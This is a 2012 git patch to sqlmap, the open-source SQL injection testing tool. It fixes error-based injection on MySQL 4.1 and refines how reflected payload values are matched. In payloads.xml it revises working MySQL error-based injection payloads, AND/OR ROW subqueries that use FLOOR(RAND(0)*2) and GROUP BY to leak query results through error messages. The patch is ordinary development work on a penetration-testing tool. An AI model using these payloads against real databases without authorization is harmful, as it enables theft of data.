From 772ead8d03969e680d67eb6c8c7a11222fc2ffb1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 29 Mar 2012 12:44:20 +0000 Subject: [PATCH] fixed support for error-based injection on MySQL 4.1 (help table a needs more than 2 items inside); also, fixed some border issues with reflective values --- lib/core/agent.py | 3 ++- lib/core/common.py | 26 +++++++++++++++++++------- lib/core/settings.py | 19 +++++++++++-------- xml/payloads.xml | 8 ++++---- 4 files changed, 36 insertions(+), 20 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 07564e9a3..7e96b2160 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -208,11 +208,12 @@ class Agent: randInt = randomInt() randInt1 = randomInt() + randInt2 = randomInt() randStr = randomStr() randStr1 = randomStr() _ = ( - ("[RANDNUM]", str(randInt)), ("[RANDNUM1]", str(randInt1)), ("[RANDSTR]", randStr),\ + ("[RANDNUM]", str(randInt)), ("[RANDNUM1]", str(randInt1)), ("[RANDNUM2]", str(randInt2)), ("[RANDSTR]", randStr),\ ("[RANDSTR1]", randStr1), ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\ ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\ ("[HASH_REPLACE]", kb.chars.hash_) diff --git a/lib/core/common.py b/lib/core/common.py index e0d45a3cc..bc6fe2a72 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -116,6 +116,7 @@ from lib.core.settings import LARGE_OUTPUT_THRESHOLD from lib.core.settings import ML from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import PAYLOAD_DELIMITER +from lib.core.settings import REFLECTED_BORDER_REGEX from lib.core.settings import REFLECTED_REPLACEMENT_REGEX from lib.core.settings import REFLECTED_MAX_REGEX_PARTS from lib.core.settings import REFLECTED_VALUE_MARKER @@ -2625,19 +2626,30 @@ def removeReflectiveValues(content, payload, suppressWarning=False): retVal = content if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism: + def _(value): + while 2 * REFLECTED_REPLACEMENT_REGEX in value: + value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) + return value + payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ''))) - - regex = filterStringValue(payload, r'[A-Za-z0-9]', REFLECTED_REPLACEMENT_REGEX.encode("string-escape")) - - while 2 * REFLECTED_REPLACEMENT_REGEX in regex: - regex = regex.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) + regex = _(filterStringValue(payload, r'[A-Za-z0-9]', REFLECTED_REPLACEMENT_REGEX.encode("string-escape"))) if all(part.lower() in content.lower() for part in regex.split(REFLECTED_REPLACEMENT_REGEX)): # fast optimization check parts = regex.split(REFLECTED_REPLACEMENT_REGEX) if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs - regex = "%s.+?%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:])) + regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:]))) - retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, content) + if regex.lstrip(REFLECTED_REPLACEMENT_REGEX) != regex: + regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex.lstrip(REFLECTED_REPLACEMENT_REGEX)) + else: + regex = r"\b%s" % regex + + if regex.rstrip(REFLECTED_REPLACEMENT_REGEX) != regex: + regex = r"%s%s" % (regex.rstrip(REFLECTED_REPLACEMENT_REGEX), REFLECTED_BORDER_REGEX) + else: + regex = r"%s\b" % regex + + retVal = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, content) if retVal != content: kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 diff --git a/lib/core/settings.py b/lib/core/settings.py index 4ace6e0b4..614493b1c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -327,22 +327,25 @@ MSSQL_ERROR_CHUNK_LENGTH = 100 EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK) # Mark used for replacement of reflected values -REFLECTED_VALUE_MARKER = '__REFLECTED_VALUE__' +REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__" + +# Regular expression used for replacing border non-alphanum characters +REFLECTED_BORDER_REGEX = r"[^\s]+" # Regular expression used for replacing non-alphanum characters -REFLECTED_REPLACEMENT_REGEX = r'.+' +REFLECTED_REPLACEMENT_REGEX = r".+?" # Maximum number of alpha-numerical parts in reflected regex (for speed purposes) REFLECTED_MAX_REGEX_PARTS = 10 # Chars which can be used as a failsafe values in case of too long URL encoding value -URLENCODE_FAILSAFE_CHARS = '()|,' +URLENCODE_FAILSAFE_CHARS = "()|," # Maximum length of urlencoded value after which failsafe procedure takes away URLENCODE_CHAR_LIMIT = 2000 # Default schema for Microsoft SQL Server DBMS -DEFAULT_MSSQL_SCHEMA = 'dbo' +DEFAULT_MSSQL_SCHEMA = "dbo" # Display hash attack info every mod number of items HASH_MOD_ITEM_DISPLAY = 11 @@ -357,10 +360,10 @@ IGNORE_PARAMETERS = ("__VIEWSTATE", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENT TURN_OFF_RESUME_INFO_LIMIT = 20 # Strftime format for results file used in multiple target mode -RESULTS_FILE_FORMAT = 'results-%m%d%Y_%I%M%p.csv' +RESULTS_FILE_FORMAT = "results-%m%d%Y_%I%M%p.csv" # Official web page with the list of Python supported codecs -CODECS_LIST_PAGE = 'http://docs.python.org/library/codecs.html#standard-encodings' +CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encodings" # Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition) SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\(" @@ -390,13 +393,13 @@ REFLECTIVE_MISS_THRESHOLD = 20 HTML_TITLE_REGEX = "(?P<result>[^<]+)" # Table used for Base64 conversion in WordPress hash cracking routine -ITOA64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' +ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" # Chars used to quickly distinguish if the user provided tainted parameter values DUMMY_SQL_INJECTION_CHARS = ";()'" # Simple check against dummy users -DUMMY_USER_INJECTION = "(?i)[^\w](AND|OR)\s+[^\s]+[=><]" +DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]" # Extensions skipped by crawler CRAWL_EXCLUDE_EXTENSIONS = ("gif","jpg","jar","tif","bmp","war","ear","mpg","wmv","mpeg","scm","iso","dmp","dll","cab","so","avi","bin","exe","iso","tar","png","pdf","ps","mp3","zip","rar","gz") diff --git a/xml/payloads.xml b/xml/payloads.xml index 1fe254b49..2d33495b5 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -1161,9 +1161,9 @@ Formats: 0 1 1 - AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1) + AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1] UNION SELECT [RANDNUM2])a GROUP BY x) - AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1) + AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1] UNION SELECT [RANDNUM2])a GROUP BY x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1379,9 +1379,9 @@ Formats: 2 1 2 - OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1) + OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1] UNION SELECT [RANDNUM2])a GROUP BY x) - OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1) + OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1] UNION SELECT [RANDNUM2])a GROUP BY x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]